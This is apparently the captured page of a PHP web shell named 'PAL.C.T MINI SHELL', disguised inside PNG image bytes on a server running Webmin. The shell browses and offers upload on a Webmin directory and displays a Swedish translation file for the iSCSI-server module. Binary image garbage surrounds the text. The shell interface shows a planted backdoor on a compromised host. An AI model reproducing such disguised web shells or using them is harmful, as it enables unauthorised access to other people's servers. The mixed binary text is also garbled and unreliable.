‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/iscsi-server/lang/
upload
files >> //usr/libexec/webmin/iscsi-server/lang/sv.auto

check_etargets=ISCSI-serverns konfigurationsfil $1 hittades inte pÄ ditt system.
check_eserver=ISCSI-serverprogrammet $1 hittades inte pÄ ditt system.

index_title=iSCSI-server
index_clink=Kanske Àr den inte installerad, eller Àr din <a href='$1'>modulkonfiguration</a> felaktig.
index_stop=Stoppa iSCSI-servern
index_stopdesc=Klicka pÄ den hÀr knappen för att stoppa den körande iSCSI-servern. Alla delade enheter kommer inte lÀngre att vara tillgÀngliga för klienter.
index_start=Starta iSCSI-server
index_startdesc=Klicka pÄ den hÀr knappen för att starta iSCSI-servern sÄ att delade enheter Àr tillgÀngliga för klienter.
index_restart=Starta om iSCSI-servern
index_restartdesc=Klicka pÄ den hÀr knappen för att tillÀmpa den aktuella konfigurationen genom att starta om iSCSI-servern.
index_atboot=Börja vid start?
index_atbootdesc=Ändra det hĂ€r alternativet för att kontrollera om iSCSI-servern startas vid starttid eller inte. Om det för nĂ€rvarande inte startas vid start och Ja vĂ€ljs, skapas ett nytt init-skript.
index_return=modulindex

extents_title=Enheter att dela
extents_none=Inga enheter att dela har skapats Àn.
extents_name=Enhetsnamn
extents_file=Fil- eller enhetsvÀg
extents_start=Start av omfattning
extents_size=Storleken pÄ omfattningen
extents_add=LĂ€gg till en ny enhet som du vill dela.
extents_delete=Radera valda enheter
extents_return=lista över enheter som ska delas
extents_derr=Det gick inte att ta bort enheter
extents_denone=Ingen vald
extents_einuse=Enhet $1 kan inte raderas, eftersom den anvÀnds av : $2 
extents_drusure=Är du sĂ€ker pĂ„ att du vill ta bort följande enheter: $1 ? Deras innehĂ„ll kommer att bevaras, men de kommer inte lĂ€ngre att vara tillgĂ€ngliga för iSCSI-klienter.
extents_sure=Radera enheter

extent_create=Skapa enhet att dela
extent_edit=Redigera enhet att dela
extent_egone=Enhet för att dela $1 finns inte!
extent_header=Detaljer om enheten som ska delas
extent_name=Enhetsnamn
extent_device=Fil eller diskenhet att dela
extent_start=Börja med att dela ut
extent_size=Storleken pÄ omfattningen att dela
extent_size_def1=Hela filen eller enheten
extent_size_def0=Specificerad storlek
extent_part=Lokal diskpartition
extent_raid=RAID-enhet
extent_md=RAID-enhet $1 
extent_lvm=LVM logisk volym
extent_lv=LVM VG $1, LV $2 
extent_other=Annan fil eller enhet
extent_rusure=Är du sĂ€ker pĂ„ att du vill ta bort den delade enheten $1 ? InnehĂ„llet kommer att bevaras, men det kommer inte lĂ€ngre att vara tillgĂ€ngligt för iSCSI-klienter.
extent_sure=Radera enhet
extent_err=Det gick inte att spara enheten att dela
extent_derr=Det gick inte att ta bort enheten att dela
extent_eother=Fil för att dela finns inte
extent_estart=Startens omfattning mÄste vara ett nummer
extent_esize=Storleken pÄ omfattningen mÄste vara ett nummer
extent_esizemax=UtgÄngens slut kan inte vara större Àn enhetsstorleken pÄ $1 
extent_einuse=Den hÀr enheten kan inte raderas, eftersom den anvÀnds av : $1 

devices_title=Enhetskombinationer
devices_none=Inga enhetskombinationer har skapats Àn.
devices_name=Kombinationsnamn
devices_mode=Kombinationstyp
devices_mode_raid0=LinjÀr (RAID0)
devices_mode_raid1=Replikerad (RAID1)
devices_extents=Medlem enheter
devices_add=LĂ€gg till en ny enhetskombination.
devices_delete=Radera valda kombinationer
devices_return=lista över enhetskombinationer
devices_derr=Det gick inte att ta bort enhetskombinationer
devices_denone=Ingen vald
devices_einuse=Kombination $1 kan inte raderas, eftersom den anvÀnds av : $2 
devices_drusure=Är du sĂ€ker pĂ„ att du vill ta bort följande enhetskombinationer: $1 ? Deras innehĂ„ll kommer att bevaras, men de kommer inte lĂ€ngre att vara tillgĂ€ngliga för iSCSI-klienter.
devices_sure=Radera enhetskombinationer

device_create=Skapa enhetskombination
device_edit=Redigera enhetskombination
device_egone=Enhetskombination $1 finns inte!
device_header=Detaljer om enhetskombination
device_name=Enhetskombinationens namn
device_mode=Kombinationstyp
device_extents=Medlem enheter
device_poss=Alla tillgÀngliga enheter
device_got=Medlem enheter
device_err=Det gick inte att spara enhetskombinationen
device_derr=Det gick inte att ta bort enhetskombinationen
device_rusure=Är du sĂ€ker pĂ„ att du vill ta bort enhetskombinationen $1 ? InnehĂ„llet kommer att bevaras, men det kommer inte lĂ€ngre att vara tillgĂ€ngligt för iSCSI-klienter.
device_sure=Radera enhetskombination
device_einuse=Den hÀr enhetskombinationen kan inte raderas, eftersom den anvÀnds av : $1 
device_eextents=Inga medlemmar har valts
device_eself=En av de valda medlemsenheterna innehÄller den hÀr enheten!

targets_title=Dela mÄl
targets_none=Inga delningsmÄl har skapats Àn.
targets_name=MÄlnamn
targets_flags=DelningslÀge
targets_flags_ro=Skrivskyddad
targets_flags_rw=LĂ€sa skriva
targets_export=Delning
targets_network=Dela med nÀtverket
targets_add=LÀgg till ett nytt delningsmÄl.
targets_delete=Radera valda mÄl
targets_return=lista över delningsmÄl
targets_derr=Det gick inte att ta bort delningsmÄl
targets_denone=Ingen vald
targets_drusure=Är du sĂ€ker pĂ„ att du vill ta bort följande delningsmĂ„l: $1 ? Ingen data kommer att gĂ„ förlorad, men de kommer inte lĂ€ngre att vara tillgĂ€ngliga för iSCSI-klienter.
targets_sure=Radera delningsmÄl

target_create=Skapa delningsmÄl
target_edit=Redigera delningsmÄl
target_egone=DelingsmÄl $1 finns inte!
target_header=Detaljer om delningsmÄlet
target_name=Dela mÄlnamn
target_flags=ÅtkomstlĂ€ge
target_export=Enhet eller kombination
target_network=Dela med nÀtverket
target_network_all=Alla nÀtverk
target_network_net=Endast nÀtverk
target_err=Det gick inte att spara delningsmÄlet
target_derr=Det gick inte att ta bort delningsmÄlet
target_rusure=Är du sĂ€ker pĂ„ att du vill ta bort delningsmĂ„let $1 ? Ingen data gĂ„r förlorad, men den kommer inte lĂ€ngre att vara tillgĂ€nglig för iSCSI-klienter.
target_sure=Radera mÄl
target_enetwork=Det saknas eller ogiltigt nÀtverk att dela med
target_emask=Saknas eller ogiltig netmask att dela med

opts_title=iSCSI-serveralternativ
opts_header=Alternativ för alla iSCSI-mÄl
opts_ip4=Acceptera IPv4-anslutningar
opts_ip6=Acceptera IPv6-anslutningar
opts_name=Namn synligt för klienter
opts_namedef=Standard (systemvÀrdnamn)
opts_port=Lyssna pÄ porten
opts_sess=Maximal samtidiga sessioner
opts_err=Det gick inte att spara alternativ
opts_ename=Saknat eller ogiltigt namn - endast bokstÀver, siffror, bindestreck, punkt och understreck Àr tillÄtna
opts_eport=Portnummer saknas eller icke-numeriskt
opts_esess=Saknade eller icke-numeriska maximala sessioner

manual_title=Redigera konfigurationsfil
manual_desc=AnvÀnd textrutan nedan för att redigera iSCSI-serverkonfigurationsfilen $1. Var försiktig, eftersom ingen validering utförs pÄ din input!
manual_err=Det gick inte att spara konfigurationsfilen
manual_edata=Inget innehÄll anges!

users_title=iSCSI-verifiering
users_none=Inga iSCSI-anvÀndare har skapats Àn. Kunder kan komma Ät delade enheter utan att verifiera.
users_add=LÀgg till en ny iSCSI-anvÀndare.
users_delete=Radera valda anvÀndare
users_name=AnvÀndarnamn
users_mode=Autentiseringsmetod
users_return=lista över anvÀndare

user_create=Skapa iSCSI-anvÀndare
user_edit=Redigera iSCSI-anvÀndare
user_header=iSCSI anvÀndarinformation
user_user=Kundens anvÀndarnamn
user_mode=Autentiseringsmetod
user_pass=Klientlösenord
user_egone=AnvÀndaren finns inte lÀngre!
user_err=Det gick inte att spara iSCSI-anvÀndare
user_euser=Saknat eller ogiltigt anvÀndarnamn - mellanslag och kolon Àr inte tillÄtna
user_epass=Saknat eller ogiltigt lösenord - mellanslag och kolon Àr inte tillÄtna

desc_extent=Enhet för att dela $1 
desc_device=Enhetskombination $1 
desc_target=DelingsmÄl $1 

start_err=Det gick inte att starta iSCSI-servern
stop_err=Det gick inte att stoppa iSCSI-servern
restart_err=Det gick inte att starta om iSCSI-servern
atboot_err=Det gick inte att aktivera vid start

log_create_extent=Skapad enhet för att dela $1 
log_modify_extent=Uppdaterad enhet för att dela $1 
log_delete_extent=En enhet har raderats för att dela $1 
log_create_device=Skapad enhetskombination $1 
log_modify_device=Uppdaterad enhetskombination $1 
log_delete_device=Raderad enhetskombination $1 
log_create_target=Skapat delmÄl $1 
log_modify_target=Uppdaterat delningsmÄl $1 
log_delete_target=Delat mÄl $1 raderat
log_delete_extents=$1 enheter har delats
log_delete_devices=Raderade $1 -enhetskombinationer
log_delete_targets=Delade mÄl för delning av $1 
log_start=Startade iSCSI-servern
log_stop=Stoppad iSCSI-server
log_restart=Omstartad iSCSI-server
log_atboot=Aktiverad iSCSI-server vid starttid
log_delboot=Inaktiverad iSCSI-server vid starttid
log_manual=Manuell redigerad konfigurationsfil
log_create_user=Skapad iSCSI-anvÀndare $1 
log_modify_user=Uppdaterad iSCSI-anvÀndare $1 
log_delete_user=ISCSI-anvÀndare $1 raderade
log_delete_users=$1 iSCSI-anvÀndare raderade
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚